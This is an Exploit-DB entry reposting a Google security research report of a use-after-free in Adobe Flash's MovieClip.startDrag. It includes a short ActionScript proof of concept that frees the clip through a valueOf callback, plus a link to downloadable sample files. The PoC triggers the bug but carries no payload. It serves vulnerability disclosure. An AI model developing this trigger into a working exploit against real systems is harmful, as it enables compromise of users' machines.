Adobe Flash MovieClip.startDrag - Use-After-Free

EDB-ID:

39041




Platform:

Windows

Date:

2015-12-18


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Source: https://code.google.com/p/google-security-research/issues/detail?id=592

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	return 1;
	
	}
	
A sample fla and swf are attached.


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39041.zip